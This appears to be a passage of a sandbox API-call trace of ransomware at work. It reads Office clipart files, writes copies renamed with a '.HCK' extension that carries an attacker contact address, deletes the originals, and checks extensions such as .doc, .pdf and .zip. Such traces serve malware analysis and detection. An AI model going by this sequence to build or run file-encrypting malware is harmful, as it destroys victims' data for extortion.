[0179.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.902] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=94016) returned 1 [0179.902] CloseHandle (hObject=0x3a4) returned 1 [0179.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750u.bmp")) returned 0x220 [0179.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.909] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.909] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.913] GetLastError () returned 0x0 [0179.913] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x16f40, lpOverlapped=0x0) returned 1 [0179.916] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x16f50, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x16f50, lpOverlapped=0x0) returned 1 [0179.917] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.917] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.917] SetEndOfFile (hFile=0x370) returned 1 [0179.918] CloseHandle (hObject=0x370) returned 1 [0179.920] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.920] SetEndOfFile (hFile=0x39c) returned 1 [0179.926] CloseHandle (hObject=0x39c) returned 1 [0179.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.926] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750u.bmp")) returned 1 [0179.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP") returned 68 [0179.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP") returned 68 [0179.928] lstrlenW (lpString=".doc") returned 4 [0179.928] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.928] lstrlenW (lpString=".docx") returned 5 [0179.928] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.928] lstrlenW (lpString=".pdf") returned 4 [0179.928] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.928] lstrlenW (lpString=".xls") returned 4 [0179.928] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.928] lstrlenW (lpString=".xlsx") returned 5 [0179.928] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.928] lstrlenW (lpString=".ppt") returned 4 [0179.928] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP") returned 68 [0179.928] lstrlenW (lpString=".zip") returned 4 [0179.928] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.928] lstrlenW (lpString=".rar") returned 4 [0179.928] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.928] lstrlenW (lpString=".bz2") returned 4 [0179.928] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.929] lstrlenW (lpString=".7z") returned 3 [0179.929] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP") returned 68 [0179.929] lstrlenW (lpString=".dbf") returned 4 [0179.929] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP") returned 68 [0179.929] lstrlenW (lpString=".1cd") returned 4 [0179.929] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP") returned 68 [0179.929] lstrlenW (lpString=".jpg") returned 4 [0179.929] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP") returned 68 [0179.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP") returned 68 [0179.929] lstrlenW (lpString=".doc") returned 4 [0179.929] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.929] lstrlenW (lpString=".docx") returned 5 [0179.929] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.929] lstrlenW (lpString=".pdf") returned 4 [0179.929] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.929] lstrlenW (lpString=".xls") returned 4 [0179.929] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.929] lstrlenW (lpString=".xlsx") returned 5 [0179.929] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.929] lstrlenW (lpString=".ppt") returned 4 [0179.929] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP") returned 68 [0179.929] lstrlenW (lpString=".zip") returned 4 [0179.929] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.929] lstrlenW (lpString=".rar") returned 4 [0179.929] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.929] lstrlenW (lpString=".bz2") returned 4 [0179.929] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.929] lstrlenW (lpString=".7z") returned 3 [0179.929] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP") returned 68 [0179.929] lstrlenW (lpString=".dbf") returned 4 [0179.929] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP") returned 68 [0179.929] lstrlenW (lpString=".1cd") returned 4 [0179.929] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP") returned 68 [0179.929] lstrlenW (lpString=".jpg") returned 4 [0179.929] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.929] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.929] lstrlenW (lpString="PH02754U.BMP") returned 12 [0179.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02754u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.930] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=108504) returned 1 [0179.930] CloseHandle (hObject=0x2fc) returned 1 [0179.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02754u.bmp")) returned 0x220 [0179.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02754u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02754u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.933] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.933] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02754u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.941] GetLastError () returned 0x0 [0179.941] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1a7d8, lpOverlapped=0x0) returned 1 [0179.945] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1a7e0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1a7e0, lpOverlapped=0x0) returned 1 [0179.946] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.946] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.946] SetEndOfFile (hFile=0x368) returned 1 [0179.953] CloseHandle (hObject=0x368) returned 1 [0179.953] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.953] SetEndOfFile (hFile=0x300) returned 1 [0179.956] CloseHandle (hObject=0x300) returned 1 [0179.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02754u.bmp")) returned 1 [0179.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP") returned 68 [0179.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP") returned 68 [0179.962] lstrlenW (lpString=".doc") returned 4 [0179.962] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.962] lstrlenW (lpString=".docx") returned 5 [0179.962] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.962] lstrlenW (lpString=".pdf") returned 4 [0179.962] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.962] lstrlenW (lpString=".xls") returned 4 [0179.962] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.962] lstrlenW (lpString=".xlsx") returned 5 [0179.963] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.963] lstrlenW (lpString=".ppt") returned 4 [0179.963] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP") returned 68 [0179.963] lstrlenW (lpString=".zip") returned 4 [0179.963] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.963] lstrlenW (lpString=".rar") returned 4 [0179.963] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.963] lstrlenW (lpString=".bz2") returned 4 [0179.963] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.963] lstrlenW (lpString=".7z") returned 3 [0179.963] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP") returned 68 [0179.963] lstrlenW (lpString=".dbf") returned 4 [0179.963] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP") returned 68 [0179.963] lstrlenW (lpString=".1cd") returned 4 [0179.963] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP") returned 68 [0179.963] lstrlenW (lpString=".jpg") returned 4 [0179.963] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP") returned 68 [0179.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP") returned 68 [0179.963] lstrlenW (lpString=".doc") returned 4 [0179.963] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.963] lstrlenW (lpString=".docx") returned 5 [0179.963] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.963] lstrlenW (lpString=".pdf") returned 4 [0179.963] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.963] lstrlenW (lpString=".xls") returned 4 [0179.963] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.963] lstrlenW (lpString=".xlsx") returned 5 [0179.963] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.963] lstrlenW (lpString=".ppt") returned 4 [0179.963] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP") returned 68 [0179.963] lstrlenW (lpString=".zip") returned 4 [0179.963] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.963] lstrlenW (lpString=".rar") returned 4 [0179.963] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.963] lstrlenW (lpString=".bz2") returned 4 [0179.963] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.963] lstrlenW (lpString=".7z") returned 3 [0179.963] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP") returned 68 [0179.963] lstrlenW (lpString=".dbf") returned 4 [0179.963] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP") returned 68 [0179.963] lstrlenW (lpString=".1cd") returned 4 [0179.963] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP") returned 68 [0179.963] lstrlenW (lpString=".jpg") returned 4 [0179.963] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.964] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.964] lstrlenW (lpString="PH02758U.BMP") returned 12 [0179.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02758u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.967] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=198648) returned 1 [0179.967] CloseHandle (hObject=0x39c) returned 1 [0179.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02758u.bmp")) returned 0x220 [0179.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02758u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02758u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.977] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.977] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02758u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.985] GetLastError () returned 0x0 [0179.985] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x307f8, lpOverlapped=0x0) returned 1 [0179.991] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x30800, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x30800, lpOverlapped=0x0) returned 1 [0179.993] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.994] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.994] SetEndOfFile (hFile=0x368) returned 1 [0179.996] CloseHandle (hObject=0x368) returned 1 [0179.996] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.996] SetEndOfFile (hFile=0x300) returned 1 [0180.000] CloseHandle (hObject=0x300) returned 1 [0180.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02758u.bmp")) returned 1 [0180.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP") returned 68 [0180.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP") returned 68 [0180.005] lstrlenW (lpString=".doc") returned 4 [0180.005] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0180.005] lstrlenW (lpString=".docx") returned 5 [0180.005] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0180.005] lstrlenW (lpString=".pdf") returned 4 [0180.005] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0180.005] lstrlenW (lpString=".xls") returned 4 [0180.005] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0180.005] lstrlenW (lpString=".xlsx") returned 5 [0180.005] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0180.005] lstrlenW (lpString=".ppt") returned 4 [0180.005] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0180.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP") returned 68 [0180.005] lstrlenW (lpString=".zip") returned 4 [0180.005] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0180.005] lstrlenW (lpString=".rar") returned 4 [0180.005] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0180.005] lstrlenW (lpString=".bz2") returned 4 [0180.005] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0180.005] lstrlenW (lpString=".7z") returned 3 [0180.005] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0180.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP") returned 68 [0180.005] lstrlenW (lpString=".dbf") returned 4 [0180.005] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0180.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP") returned 68 [0180.005] lstrlenW (lpString=".1cd") returned 4 [0180.005] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0180.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP") returned 68 [0180.006] lstrlenW (lpString=".jpg") returned 4 [0180.006] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0180.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP") returned 68 [0180.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP") returned 68 [0180.006] lstrlenW (lpString=".doc") returned 4 [0180.006] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0180.006] lstrlenW (lpString=".docx") returned 5 [0180.006] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0180.006] lstrlenW (lpString=".pdf") returned 4 [0180.006] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0180.006] lstrlenW (lpString=".xls") returned 4 [0180.006] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0180.006] lstrlenW (lpString=".xlsx") returned 5 [0180.006] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0180.006] lstrlenW (lpString=".ppt") returned 4 [0180.006] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0180.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP") returned 68 [0180.006] lstrlenW (lpString=".zip") returned 4 [0180.006] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0180.006] lstrlenW (lpString=".rar") returned 4 [0180.006] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0180.006] lstrlenW (lpString=".bz2") returned 4 [0180.006] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0180.006] lstrlenW (lpString=".7z") returned 3 [0180.006] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0180.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP") returned 68 [0180.006] lstrlenW (lpString=".dbf") returned 4 [0180.006] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0180.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP") returned 68 [0180.006] lstrlenW (lpString=".1cd") returned 4 [0180.006] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0180.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP") returned 68 [0180.006] lstrlenW (lpString=".jpg") returned 4 [0180.006] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0180.006] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0180.006] lstrlenW (lpString="PH02845G.GIF") returned 12 [0180.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02845g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 